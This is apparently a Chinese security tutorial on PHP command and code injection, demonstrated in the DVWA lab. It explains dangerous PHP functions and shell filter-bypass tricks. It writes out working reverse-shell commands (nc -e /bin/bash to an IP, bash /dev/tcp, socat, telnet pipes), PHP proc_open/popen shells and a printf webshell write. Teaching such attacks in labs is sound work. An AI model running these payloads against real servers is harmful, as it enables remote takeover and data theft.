PHP远程命令执行与代码执行原理利用与常见绕过总结

news2024/11/25 20:23:40

PHP远程命令执行与代码执行原理利用与常见绕过总结

远程命令执行

相较于SQL注入漏洞,远程命令执行更加少见。由于是直接执行系统命令,所以相较于前者此漏洞会更加危险:

  • 攻击者通过远程命令执行漏洞可以直接掌控服务器
  • 攻击者可以通过存在此漏洞的服务器作为跳板,进而攻击内网或外网中的其他服务器

命令执行漏洞原理

命令执行漏洞(Command Injection Vulnerability)是一种常见的安全漏洞,通常出现在应用程序中,特别是与用户输入和系统命令执行有关的应用程序,如Web应用程序、命令行工具等。该漏洞的原理是允许攻击者通过构造恶意输入来执行恶意系统命令。通常有以下情况:

  1. 用户输入未经充分验证和过滤:应用程序接受用户提供的输入,但没有进行充分的输入验证和过滤。这可能包括表单输入、URL参数、文件上传等。
  2. 拼接用户输入到系统命令:应用程序将用户输入不加检查地直接插入到系统命令字符串中。这通常发生在需要执行系统命令的上下文中,比如使用shell_execexecsystempopen等函数执行命令的代码块。
  3. 恶意输入构造:攻击者可以构造恶意输入,通过在输入中插入特殊字符、元字符或命令注入代码来干扰或篡改命令的执行。例如,攻击者可以使用分号、反斜杠、管道符等字符来分隔命令,执行额外的命令,或者修改命令的含义。
  4. 执行恶意命令:一旦应用程序执行了包含攻击者构造的恶意输入的命令,攻击者就可以在目标系统上执行恶意操作,例如获取敏感信息、修改文件、执行系统命令等。

通俗来讲就是利用OS指令的特殊字符来进行命令拼接来达到一条或多条命令执行的结果(与SQL注入类似),我们以dvwa为例:

在这里插入图片描述

正常情况下会得到上述的结果,但是如果我们进行命令拼接呢?我们接下来输入:127.0.0.1 && ls -l将会得到以下结果:

在这里插入图片描述

可以看到,我们的ls -l被服务器执行了,我们查看源代码可以得知,我们实际上执行的命令变为了 ping 127.0.0.1 && ls -l

 <?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

常见的命令拼接方式

  • Windows
拼接方式示例描述
使用 & 运算符echo "Hello" & echo "World"使用 & 运算符可以将多个命令串联在一起,依次执行。
使用 && 运算符echo "Hello" && echo "World"使用 && 运算符可以将多个命令串联在一起,但只有前一个命令成功时才执行后一个。
使用 `` 运算符
使用管道符`echo “Hello”find “l”`
使用分号 ;echo "Hello" ;echo "World"使用分号可以将多个命令依次执行,不管前一个命令的结果如何。
  • Linux
拼接方式示例描述
使用分号 (;)command1 ; command2使用分号可以将多个命令依次执行,不管前一个命令的结果如何。
使用逻辑与 (&&)command1 && command2使用逻辑与可以将多个命令依次执行,但只有前一个命令成功时才执行后一个。
使用逻辑或 (``)
使用管道符 (``)`command1
使用连接符 (&)command1 & command2使用 & 运算符可以将多个命令串联在一起,依次执行。
使用 ($)符command1$(command2)使用 ($)符时,由于$的较高优先级,command2会优先执行
使用编码后的换行符

在远程命令执行的时候,还有一种方式用来拼接命令,我们直接进行演示,首先我们编写一个GET请求的远程命令执行:

<?php
    if(isset($_GET['x'])){
        $res = shell_exec('ping -c 4 '.$_GET['x']);
        echo '<pre>'.$res.'</pre>';
    }
?>

当服务器系统为Linux时,我们在我们要拼接的命令之间使用%0a,它是URL编码后的换行符,我们burp suite抓包后可以看到,成功执行了ls

在这里插入图片描述

常见命令执行函数

shell_exec函数命令执行

shell_exec函数接受一个系统命令的字符串,并且在命令执行完成过后,一次返回所有的执行结果(shell_exec 不会提供实时输出),shell_exec 函数返回执行命令后的标准输出(STDOUT)作为字符串,或者在执行命令失败时返回 null。例如以下示例:

<?php
    $res = shell_exec('ping 127.0.0.1');
    echo $res;
?>

得到以下结果,需要注意的是,出现结果需要等待几秒

PS D:\CodeProjects\VScodeProjects> php "d:\CodeProjects\VScodeProjects\shell.php"

Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Ping statistics for 127.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
PS D:\CodeProjects\VScodeProjects> 
exec函数命令执行

exec() 是 PHP 中的一个内置函数,用于执行外部命令或程序。它的基本语法如下:

string exec(string $command [, array &$output [, int &$return_var]])
  • $command 是要执行的命令或程序。
  • $output 是一个可选参数,用于存储命令执行的输出结果。如果提供了该参数,命令执行的输出将被存储到数组中的每个元素中。
  • $return_var 用于接收命令的返回状态码的变量。返回状态码表示命令是否成功执行,通常为0表示成功,非零表示失败。

exec() 函数执行指定的命令,并返回命令执行的最后一行输出作为字符串。如果指定了 $output 参数,命令执行的输出将被存储在数组中。我们可以简单写出一个脚本进行试验,我这里采用windows环境:

<?php
$output = array();
exec('ping 127.0.0.1', $output, $return_var);

echo "Command output:\n";
echo implode("\n", $output);

echo "\nReturn value: $return_var";
?>

我们运行脚本得到:

Command output:

Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Ping statistics for 127.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
Return value: 0
PS D:\CodeProjects\VScodeProjects>
system函数命令执行

system函数接受一个系统命令的字符串和一个可选的执行状态值,执行外部命令后,将在命令执行完毕后返回命令的最后一行,或者在执行失败时返回 false。通常情况下,system 函数**不会将命令的所有输出捕获,而只返回最后一行输出。**返回值是命令的退出状态码,通常为0表示成功,非零表示失败。示例如下:

<?php
echo '<pre>';
$last_line = system("ping -c 4 127.0.0.1", $return_val);
echo '</pre>';
echo '
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $return_val;
?>

在网页有以下结果:

在这里插入图片描述

passthru函数命令执行

passthru函数是 PHP 中用于执行外部命令并将命令的输出发送到输出流(通常是浏览器)。它与system函数一样,也接受两个相同的参数,但是其并不会返回命令执行的结果,而是将命令的输出直接发送到输出流。它返回命令的退出状态码(通常为0表示成功,非零表示失败),如下示例:

<?php
echo '<pre>';
$last_line = passthru("ping -c 4 127.0.0.1", $return_val);
echo '</pre>';
echo '
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $return_val;
?>

在这里插入图片描述

array_map函数命令执行

array_map 是 PHP 中的一个数组函数,用于将指定的回调函数应用于数组中的每个元素,并返回一个新的数组,其中包含回调函数的返回值。它的语法如下:

array array_map ( callable $callback , array $array [, array $... ] )
  • $callback: 必需,指定要应用于每个数组元素的回调函数。可以是一个函数的名称(字符串)或一个包含对象和方法名称的数组。
  • $array: 必需,要处理的输入数组。
  • $...: 可选,可以传递多个数组,将它们一并传递给回调函数。如果提供了多个数组,回调函数的参数数量应该与传递的数组数量相匹配。

array_map 对数组中的每个元素应用指定的回调函数,并返回一个包含所有回调函数返回值的新数组。原始数组不受影响。

在这里插入图片描述

array_filter函数命令执行
  • 语法
array array_filter(array $array, ?callable $callback = null, int $mode = 0): array
  • array:要遍历的数组

  • callback:使用的回调函数,如果没有提供 callback 回调函数,将删除数组中 array 的所有“空”元素。

  • mode:决定哪些参数发送到 callback 回调的标志,默认值为 0 ,只传递值作为 callback 回调的唯一参数:

    • ARRAY_FILTER_USE_KEY :将键名作为callback回调的唯一参数,而不是值
    • ARRAY_FILTER_USE_BOTH:将值和键都作为参数传递给 callback 回调,而不是仅传递值
<?php
highlight_file(__FILE__);
$array_command = array('ls', 'uname -a');
$command = 'system';
array_filter($array_command, $command);
?>

注意:修改对应的内容后也可以用于远程代码执行

在这里插入图片描述

反弹shell原理与实现

相较于直接执行,更加常见的是反弹shell。有时候服务器虽然执行了我们的命令,但是却没有回显,我们需要通过一定手段将其外带出来,这一手段就是shell服务:

Shell服务是一种远程访问和控制计算机的方式。它允许用户通过网络连接到远程计算机,并在远程计算机上执行命令和操作。Shell服务通常使用命令行界面(CLI)来与远程计算机进行交互。

通过Shell服务,用户可以执行各种操作,例如文件管理、程序运行、系统配置和监控等。用户可以输入命令并将其发送到远程计算机,远程计算机会执行相应的操作,并将结果返回给用户。

常见的Shell服务协议包括SSH(Secure Shell)和Telnet。SSH是一种加密的网络协议,提供了安全的远程访问和数据传输。Telnet是一种较早的远程访问协议,但它的数据传输是明文的,不提供加密保护。

Shell服务在系统管理、远程协作和远程访问等场景中非常常见。它为用户提供了方便的远程管理和控制能力,使用户能够轻松地操作远程计算机,而无需直接物理接触到它们。

上面介绍的情况属于正向shell,即我们主动访问其他主机,在介绍反弹(反向shell)前我们需要了解本地端口监听:

本地监听端口是指在计算机上开启的用于接收网络连接的端口。当计算机上的程序或服务监听特定端口时,它会等待来自网络的连接请求,并在成功建立连接后进行相应的处理。

本地监听端口通常用于网络通信和服务的提供。例如,Web服务器通常会监听80端口(HTTP)或443端口(HTTPS),以接收来自客户端的HTTP请求。数据库服务器可能会监听特定的端口(如MySQL的3306端口),以接收数据库连接请求。其他各种服务和应用程序也可能监听不同的端口,以提供特定的功能和服务。

通过监听端口,计算机可以与其他计算机进行通信和交换数据。当其他计算机向特定端口发送请求时,监听该端口的程序或服务会接收并处理这些请求,进行相应的数据交互和操作。

需要注意的是,监听端口是计算机上的一个资源,因此同一时间同一端口只能被一个程序或服务监听。如果多个程序尝试监听同一端口,将会发生端口冲突,导致其中一个程序无法正常工作。因此,在配置和使用监听端口时,需要确保端口的唯一性和正确的分配。

当我们通过http协议访问网站时,网站服务器会一致监听对应端口。所谓反弹,就是让其他主机主动访问我们的特定端口,而我们来监听这一特定端口并作出对应处理(端口反连技术)

netcat在反弹shell中的重要作用

网络界的瑞士军刀

Netcat,也称为nc,是一种用于网络通信的实用工具,通常用于在计算机之间传输数据。它是一个非常强大的工具,可以用于多种用途,包括网络调试、端口扫描、传输文件等。以下是Netcat的一些主要功能和简单命令用法:

  1. 创建TCP或UDP连接:Netcat可以用于建立TCP或UDP连接。通过指定主机名和端口,您可以建立与其他计算机的网络连接。例如:

    nc -v example.com 80
    
  2. 监听端口:可以使用Netcat来监听特定端口并等待其他计算机的连接。例如:

    nc -l -p 12345
    
  3. 文件传输:Netcat可以用于将文件从一台计算机传输到另一台计算机。例如,在接收端运行:

    nc -l -p 12345 > received_file
    

    在发送端运行:

    nc other_host 12345 < file_to_send
    
  4. 端口扫描:Netcat可以用于扫描目标主机的开放端口,以检查哪些端口正在监听连接。例如:

    nc -zv example.com 20-80
    
  5. 端口转发:Netcat可以用于创建端口转发,将来自一个端口的流量转发到另一个主机和端口。例如:

    nc -l -p 12345 -c "nc other_host 80"
    
  6. 作为代理:Netcat还可以用作简单的代理服务器,允许数据通过它来访问其他主机。例如:

    nc -l -p 12345 -c "nc example.com 80"
    
  7. 指定连接成功后的shell会话:

    nc -l -p 12345 -e /bin/bash
    

下面演示反弹shell步骤

端口反连的手动实现

我们使用centos7与kali来演示我们的端口反连实现

  • 首先在kali上使用nc命令打开端口监听

在这里插入图片描述

  • 在centos上运行nc命令将终端绑定到对应IP与端口

在这里插入图片描述

  • 此时在centos终端中的任何输入都不会有所回应,我们返回kali的终端会发现有以下情况:

在这里插入图片描述

  • 表明kali终端已经连接到centos,我们此时可以在卡里终端执行命令控制centos(在kali中执行exit即可退出此状态)

在这里插入图片描述

利用dvwa进行反弹shell

在进行反弹时要保证作为服务器的主机要支持nc命令,对于windows操作系统我们可以在靶场的根目录放一个nc的可执行文件来进行反弹,但是我这里使用本地的linux进行演示:

nc下载链接:https://eternallybored.org/misc/netcat/

  • 在kali开启监听,对靶场进行抓包并且修改传入数据为我们需要的指令(我这里进行了编码),然后放包

在这里插入图片描述

  • 返回kali可见反弹成功

在这里插入图片描述

多线程的远程命令执行漏洞

两个常见函数
  • proc_open函数,用于创建新进程并与其进行交互的函数。它允许你执行外部命令或程序,并通过管道与其进行通信。

proc_open 函数接受五个参数,它们定义了要执行的进程以及如何与进程进行交互:

resource|false proc_open(
    string $command,
    array $descriptorspec,
    array &$pipes,
    string|null $cwd = null,
    array|null $env = null,
    array|null $other_options = null
)
  1. command (string):要执行的外部命令或程序,例如 ls -lphp myscript.php

  2. descriptorspec (array):用于指定标准输入、输出和错误流的文件描述符。这是一个包含三个元素的数组,分别定义了标准输入、标准输出和标准错误的处理方式。每个元素都是一个数组,包含以下键值:

    • 0:标准输入(stdin)的处理方式。
    • 1:标准输出(stdout)的处理方式。
    • 2:标准错误(stderr)的处理方式。

    处理方式通常使用以下常量:

    • ['pipe', 'r']:创建一个管道以允许读取。
    • ['pipe', 'w']:创建一个管道以允许写入。
    • ['file', 'file_path', 'mode']:将标准流重定向到文件。
  3. pipes (array):将在函数调用之后包含指向标准输入、输出和错误流的文件指针的数组。

  4. cwd (string):要将进程的工作目录更改为的路径。

  5. env (array):要设置的环境变量数组,其中每个元素是键值对,表示一个环境变量

返回值:proc_open 函数的返回值是一个资源(resource),代表与新进程的交互。如果创建进程失败,它将返回 false

通常,可以使用 proc_open 函数创建一个进程,然后使用 fwrite 将数据写入其标准输入,使用 fread 从其标准输出读取数据,以及使用 fclose 关闭进程的输入和输出流。在使用完进程后,应该调用 proc_close 来关闭进程,释放资源

下面是官方示例:

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据
   1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据
   2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    // $pipes 现在看起来是这样的:
    // 0 => 可以向子进程标准输入写入的句柄
    // 1 => 可以从子进程标准输出读取的句柄
    // 错误输出将被追加到文件 /tmp/error-output.txt

    fwrite($pipes[0], '<?php print_r($_ENV); ?>');
    fclose($pipes[0]);

    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    

    // 切记:在调用 proc_close 之前关闭所有的管道以避免死锁。
    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

但是在实际环境中,一般不会将结果输出回显,大概率是会在进程结束后丢弃,至于怎么解决,我们先卖个关子

  • popen 函数是 PHP 中用于执行外部命令并建立与命令进程的双向通信管道的函数。它类似于 proc_open 函数,但更简单,通常用于执行命令并从其输出流中读取数据。

以下是 popen 函数的详细说明:

popen(string $command, string $mode): resource|false

参数:

popen 函数接受两参数,它们定义了要执行的命令以及如何与命令进行交互:

  1. command (string):要执行的外部命令或程序,例如 ls -lphp myscript.php
  2. mode (string):指定与命令进程的通信模式。它有两个有效的选项:
    • 'r':只读模式,允许从命令的标准输出读取数据。
    • 'w':写入模式,允许将数据写入命令的标准输入。

返回值:

popen 函数的返回值是一个文件指针(resource),用于与命令进程的标准输入或标准输出进行通信。如果执行失败,它将返回 false,并且它允许访问 shell 返回的任何错误信息:。

通常,可以使用 fread 从命令进程的输出流读取数据,或使用 fwrite 将数据写入命令进程的输入流。当完成后,应该使用 pclose 函数关闭管道。

下面是一个简单的示例:

$handle = popen('ls -l', 'r');  // 执行命令并打开输出管道

if ($handle) {
    while (!feof($handle)) {
        $data = fread($handle, 4096);  // 从命令输出读取数据
        echo $data;
    }
    
    pclose($handle);  // 关闭管道
}
攻击思路

已知两个函数是建立在进程间的交互,它们对主进程的影响很小,在进程结束后一般会释放资源,我们可以书写以下代码:

在这里插入图片描述

在这里插入图片描述

因为进程终止,我们是没法带出数据的,为了带出数据,我们必须想办法让进程存活,而我们反弹shell的过程nc不就存活着吗,所以我们直接进行反弹shell即可:

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'),  // 标准输入从管道中读取
    1 => array('pipe', 'w'),  // 标准输出写入到管道
    2 => array('file', 'error-output.txt', 'a'),  // 标准错误重定向到文件
 );
 
 $process = proc_open('nc -e /bin/bash 192.168.179.130 8901', $descriptorspec, $pipes);
?>
<?php
$handle = popen('nc -e /bin/bash 192.168.179.130 8902', 'r');  // 执行命令并打开输出管道
pclose($handle);  // 关闭管道

在这里插入图片描述

lvp与lvvp选项的区别:-lvp 主要用于在监听模式下等待连接,并提供一些控制台输出信息,而 lvvp 则在此基础上额外执行一个 shell

其他常见的反弹shell操作

bash反弹shell

bash -i >& /dev/tcp/攻击机IP地址/攻击机监听端口 0>&1
  • bash -i: 启动一个交互式的 Bash shell。-i 选项表示交互式运行,即允许用户输入和输出。

  • >& /dev/tcp/攻击机IP地址/攻击机监听端口: 这部分将标准输出 (stdout) 和标准错误 (stderr) 重定向到指定的 TCP 连接。>& 将标准输出和标准错误合并,/dev/tcp/攻击机IP地址/攻击机监听端口 是一个特殊的文件路径,表示通过 TCP 连接到指定的 IP 地址和端口。

  • 0>&1: 这部分将标准输入 (stdin) 重定向到标准输出 (stdout)。0 表示标准输入,1 表示标准输出。这样做是为了确保输入和输出都可以在网络连接上进行交互。

利用socat反弹shell

在攻击机执行

socat TCP-LISTEN:监听端口 -

在目标机执行

socat tcp-connect:攻击机IP地址:攻击机监听端口 exec:'bash -li',pty,stderr,setsid,sigint,sane
部分含义
socat命令名称
tcp-connectsocat 的模块,用于建立 TCP 连接
攻击机IP地址:攻击机监听端口要连接的远程主机的 IP 地址和端口号
exec:'bash -li'将连接的输入输出重定向到一个执行 bash -li 的本地 shell 进程
pty分配伪终端
stderr将标准错误重定向到标准输出
setsid在新的会话中运行子进程
sigint转发 SIGINT 信号
sane使用标准设置

利用管道结合telent服务反弹shell

攻击机都只需要监听端口即可,我直接解释目标机命令

mknod a p; telnet 攻击机IP地址 攻击机监听端口 0<a | /bin/bash 1>a
部分描述
mknod a p这一部分p用于创建一个命名管道,a是命名管道的名称
telnet 攻击机IP地址 攻击机监听端口这一部分用于创建一个telent服务
0<a这里的0指的是标准输入,即将管道a中的输出内容作为 Telnet 命令的输入发送给远程主机。
/bin/bash 1>a这部分先将本地主机的telent服务远程主机上的 Bash shell 的标准输出(1)重定向到管道 a,这样远程主机上执行的任何命令的输出都会发送到本地。

即上述命令原本是直接控制了攻击机,但是我们通过了管道服务实现数据周转,达到了控制发起telnet主机的效果

在这里插入图片描述

双telnet服务实现反弹shell

telnet 攻击机IP地址 攻击机监听端口1 | /bin/bash | telnet 攻击机IP地址 攻击机监听端口2

利用此命令,我们可以在端口1输入命令,通过端口2返回执行结果

在这里插入图片描述

利用curl反弹shell

远程执行命令的本意就是让目标主机先获取到我们的命令再执行,那么我们可以通过curl取得命令内容交由bash执行即可:

在这里插入图片描述

在这里插入图片描述

远程代码执行

漏洞原理与演示

远程代码执行和SQL注入类似,都是利用一些手段对原有语句进行构造,以达到让服务器执行我们想要的命令,下面我们进行演示,我编写了一段使用eval的代码,用来将请求中的x的内容输出到浏览器:

在这里插入图片描述

可以看到此时我并未做出任何过滤,那我们接下来传入:a;phpinfo(),进行闭合构造

在这里插入图片描述

可以看到其执行了我们的phpinfo(),另外我们也可以和远程命令执行联动:

在这里插入图片描述

常见代码执行函数

eval语言构造器

它可以将传入代码当作php代码进行执行,注意eval不是函数,不能动态执行:

<?php
    $flag = "phpinfo();";
    echo "begin testing\n";
    eval($flag);
?>
assert函数

用于检查给定的条件是否为真。它接受一个表达式和一个字符串作为参数,并在运行时检查该表达式的结果是否为true。如果结果为false,则会抛出一个AssertionError异常,结果为字符串参数(即失败抛出test,并且该字符串参数是可选的)。

<?php
    echo "begin testing\n";
    assert(phpinfo(),"test")
?>

注意:assert函数还有一种情况:

<?php
    $flag = "phpinfo();";
    echo "begin testing\n";
    assert($flag,"test")
?>

这种使用字符串作用assert的方式在高版本php中已经弃用,但是低版本运行正常

在这里插入图片描述

preg_replace函数/e选项

preg_replace 函数是 PHP 中用于进行正则表达式替换的函数。它可以在字符串中使用正则表达式匹配模式,并将匹配到的部分替换成指定的内容。

下面是 preg_replace 函数的基本语法:

preg_replace($pattern, $replacement, $subject);

其中,$pattern 是要匹配的正则表达式模式,$replacement 是要替换的内容,$subject 是源字符串。

我们尝试使用/e选项(此选项在5.5.0及之后的版本被废除):

<?php
   $flag = "phpinfo();";
   preg_replace("/test/e", $flag, "testString");
?>

在这里插入图片描述

creat_function函数

假如我们想让用户输入一个字符串然后呈现在页面,我们可以使用匿名函数的方式,来进行演示(注意实际情况一般不可能这样做,并且在7.2版本php此函数被弃用,7.4版本更是被直接废除)

我们写一个小小的漏洞环境:

<?php
    header('Content-Type: text/html; charset=gbk');

    if(isset($_GET["test"])){
        $flag = $_GET["test"];
        echo "输入字符串是: <br/>";
        $funcBody='echo'." ".$flag.";";
        $res = create_function('$flag', $funcBody); 
        $res($flag);  
    }
?>

正常情况:

在这里插入图片描述

我们抓包进行修改参数,然后放包即可出现如下页面:

在这里插入图片描述

注意:create_function函数实际上是等价于一个函数创建过程,如下面的两组代码是等价的:

<?php
    $res = create_function($a,$b)
?>
<?php
    function res($a){
        $b;
    }				// 所以我们闭合的部分实际上是下面的这一部分
?>

wordpress有一个经典的高危漏洞与此相关:

在这里插入图片描述

在其读取字体文件时有这样一组代码,我们可以在字体文件中控制参数$expression来上传后门

详见:https://www.seebug.org/vuldb/ssvid-92459

为什么不能动态执行eval

<?php
highlight_file(__FILE__);

$a = 'eval';
$b = 'phpinfo();';

$a($b);
Fatal error: Call to undefined function eval() in /www/admin/ctf_80/wwwroot/eval_test.php on line 7

原因是eval是PHP中的语言构造器,而非函数,尽管其看上去和函数类似

变量函数调用方式

变量函数是 PHP 中一种特殊的函数,允许使用变量来调用函数。这样做使得函数名可以根据运行时的条件而变化,从而增加了代码的灵活性。变量函数通常用于回调函数、动态调用类方法等场景:

phpCopy codefunction sayHello() {
    echo "Hello, PHP!";
}

// 定义一个变量,存储函数名
$functionName = "sayHello";

// 使用变量调用函数
$functionName();

在这个例子中,$functionName 存储了函数名 "sayHello",然后通过在变量后加上括号 () 来调用这个函数。这样,根据实际需求,可以在运行时动态地选择调用哪个函数。

变量函数的使用场景之一是在回调函数中,例如在 array_map 函数中使用:

phpCopy codefunction square($number) {
    return $number * $number;
}

$numbers = [1, 2, 3, 4, 5];

// 使用变量函数在数组的每个元素上应用回调函数
$squaredNumbers = array_map('square', $numbers);

print_r($squaredNumbers);

在这个例子中,array_map 函数接受一个回调函数的名称作为参数,这个回调函数在数组的每个元素上被调用。通过传递函数名的字符串,可以在运行时动态选择要应用的回调函数。

语言构造器

PHP 语法构造部分是指 PHP 代码的各种结构和元素,它们用于定义程序的逻辑结构、控制流程和数据处理。以下是 PHP 中一些主要的语法构造部分:

  1. 变量: 用于存储和表示数据的标识符。变量以 $ 符号开头,例如 $variable
$variable = "Hello, PHP!";
  1. 数据类型: PHP 包括多种数据类型,如字符串、整数、浮点数、数组、对象等。
$string = "Hello";
$integer = 42;
$float = 3.14;
$array = [1, 2, 3];
  1. 运算符: 用于执行操作的符号,例如加法、减法、乘法等。
$result = $a + $b;
  1. 控制结构: 用于控制程序的执行流程,如条件语句(if-else)、循环语句(for、while)、和分支语句(switch)。
if ($condition) {
    // 代码块
} else {
    // 代码块
}

for ($i = 0; $i < 5; $i++) {
    // 循环体
}
  1. 函数: 用于封装可重复使用的代码块,提高代码的模块性和可维护性。
function addNumbers($a, $b) {
    return $a + $b;
}

$result = addNumbers(2, 3);
  1. 类和对象: 用于实现面向对象编程(OOP)的概念,包括类的定义、对象的实例化和成员访问。
class MyClass {
    public $property;

    public function myMethod() {
        // 方法实现
    }
}

$obj = new MyClass();
$obj->property = "Hello, OOP!";
  1. 命名空间: 用于组织和分隔代码,防止命名冲突。
namespace MyNamespace;

class MyClass {
    // 类定义
}

除了上述内容,语言构造器还有:

除了 eval() 函数之外,还有一些其他在 PHP 中具有特殊作用的构造器和特性。以下是其中的一些:

  1. includerequire 用于包含并执行其他文件中的代码。include 在包含失败时会产生警告,而 require 则会产生致命错误。
include 'filename.php';
require 'filename.php';
  1. include_oncerequire_onceincluderequire 相似,但会确保文件只包含一次,以防止重复包含。
include_once 'filename.php';
require_once 'filename.php';
  1. unset() 用于销毁指定变量。被销毁的变量不能再被引用或使用。
unset($variable);
  1. empty() 用于检查变量是否为空。
if (empty($variable)) {
    // 变量为空
}
  1. isset() 用于检查变量是否已设置且非空。
if (isset($variable)) {
    // 变量已设置
}
  1. list() 用于将数组中的值赋给一组变量。
list($var1, $var2) = [1, 2];
  1. unset() 用于销毁指定变量。被销毁的变量不能再被引用或使用。
unset($variable);
  1. empty() 用于检查变量是否为空。
if (empty($variable)) {
    // 变量为空
}
  1. isset() 用于检查变量是否已设置且非空。
if (isset($variable)) {
    // 变量已设置
}
  1. **eval():**允许将字符串作为 PHP 代码进行解析和执行
eval('phpinfo();')

常见RCE的绕过方式

修改标记符进行绕过

代码条件
<? echo 'Hello World'; ?>需要确保服务器的 PHP 配置中启用了 short_open_tag 选项。
<?= "Hello, world!"; ?>默认状态下即启用
<% echo "Hello, world!"; %>如果 asp_tags 被启用(设置为 On),那么 PHP 将会解析 <% %> 这样的标记作为 PHP 代码块

针对于空格过滤的绕过方式

命令描述
$IFSshell编程中的分割符,默认情况下,IFS包含空格、制表符和换行符
$9shell编程中的预定义变量,通常用于接收脚本后的第9个参数,通常是空字符串
${IFS}shell编程中的变量解析方式之一
{ls,/}在shell编程中花括号会将内部的字符串解耦,即ls /此时bash执行时会将这样的字符串解释为命令

base64编码绕过方式

base64 命令用于对文件进行 Base64 编码或解码。Base64 编码是一种将二进制数据转换为 ASCII 字符的方法,常用于在文本协议中传输二进制数据。通常情况下我们也利用其来编写一句话木马绕过限制

r123@localhost:~$ echo "hello world" | base64
aGVsbG8gd29ybGQK
r123@localhost:~$ echo aGVsbG8gd29ybGQK | base64 -d
hello world
r123@localhost:~$ base64 content.txt
5Y+q5Zug5L2g5aSq576OIGJhYnkNCuWPquWboOS9oOWunuWcqOaYr+Wkque+jiBiYWJ5DQrlj6rl
m6DkvaDlpKrnvo4gYmFieQ0K6L+O6Z2i6LWw5p2l55qE5L2g6K6p5oiR5aaC5q2k6KCi6KCi5qyy
5YqoDQoNCuS9oOaYr+Wwj+m7keWtkCDmiJHmmK/nnJ9pa3VuDQo=
r123@localhost:~$ base64 content.txt > test.txt
r123@localhost:~$ base64 -d test.txt
只因你太美 baby
只因你实在是太美 baby
只因你太美 baby
迎面走来的你让我如此蠢蠢欲动

你是小黑子 我是真ikun

xxd转16进制绕过方式

xxd 是一个在 Linux 和其他类 Unix 操作系统中可用的命令行工具,用于转换文件的格式并以十六进制形式显示文件的内容。

选项描述
-b以二进制形式显示每个字节的内容。
-c cols指定每行显示的列数,默认为 16 列。
-g cols指定每个字节组之间的间隔,默认为 2 字节。
-l len限制显示的字节数。
-s [+][-]seek从指定的偏移量开始显示。
-u使用大写字母表示十六进制值。
-v显示 xxd 的版本信息。
-h显示帮助信息。
-r反向操作,将十六进制格式转换为二进制格式。
-p以纯十六进制输出,不包含偏移量和ASCII码。
[root@localhost ~]# echo "ls" | xxd -u
0000000: 6C73 0A                                  ls.
[root@localhost ~]# echo "6C730A" | xxd -r -p |sh
127.0.0.1:8080:  admin  auto_copy-sshid.sh  CentOSstart.sh  install.sh
ip_down_list.txt  ip_up_list.txt  phpstudy  tmp  tmp_docker

使用shell编程的解析方式绕过

$()实质上是shell编程中的一种初始化变量方式,它用于将括号内的命令执行结果作为一个变量来保存,所以会出现执行命令的情况

[root@localhost ~]# echo $(ls)
127.0.0.1:8080: 1.php admin auto_copy-sshid.sh CentOSstart.sh install.sh 
ip_down_list.txt ip_up_list.txt phpstudy tmp tmp_docker

使用反引号优先执行命令

[root@localhost ~]# echo "hello `ls` world"
hello 127.0.0.1:8080:
admin
auto_copy-sshid.sh
bash
CentOSstart.sh
install.sh
ip_down_list.txt
ip_up_list.txt
phpstudy
tmp
tmp_docker world

使用printf进行绕过

注意:printf中允许以oct编码和hex编码进行格式化输出

在Shell中,printf是一个用于格式化输出的命令。它类似于C语言中的printf函数,可以使用特定的格式指定符将文本和变量输出到标准输出。例如

[root@localhost ~]# printf "Name: %-10s Age: %d\n" "John" 30
Name: John       Age: 30

同样的我们也可以用来写命令:

[root@localhost ~]# printf '\x6C\x73\x0A'
ls
[root@localhost ~]# $(printf '\x6C\x73\x0A')
127.0.0.1:8080:  admin  auto_copy-sshid.sh  bash  CentOSstart.sh  install.sh
ip_down_list.txt  ip_up_list.txt  phpstudy  tmp  tmp_docker 

不解析指令的话,我们还可以利用其来写入webshell:

[root@localhost ~]# printf '\150\145\154\154\157\40\167\157\162\154\144' > 1.php
[root@localhost ~]# cat 1.php 
hello world

针对命令过滤的绕过

使用空串绕过:

[root@localhost ~]# l''s
127.0.0.1:8080:  admin               bash            install.sh        ip_up_list.txt  tmp     
auto_copy-sshid.sh  CentOSstart.sh  ip_down_list.txt  phpstudy        tmp_docker
[root@localhost ~]# l""s
127.0.0.1:8080:  admin               bash            install.sh        ip_up_list.txt  tmp     
auto_copy-sshid.sh  CentOSstart.sh  ip_down_list.txt  phpstudy        tmp_docker

使用斜线绕过:

[root@localhost ~]# l\s
127.0.0.1:8080:  admin               bash            install.sh        ip_up_list.txt  tmp
auto_copy-sshid.sh  CentOSstart.sh  ip_down_list.txt  phpstudy        tmp_docker

使用通配符进行绕过

[root@localhost ~]# echo "flag{hello world}" > flag.txt
[root@localhost ~]# cat fl??.t?t
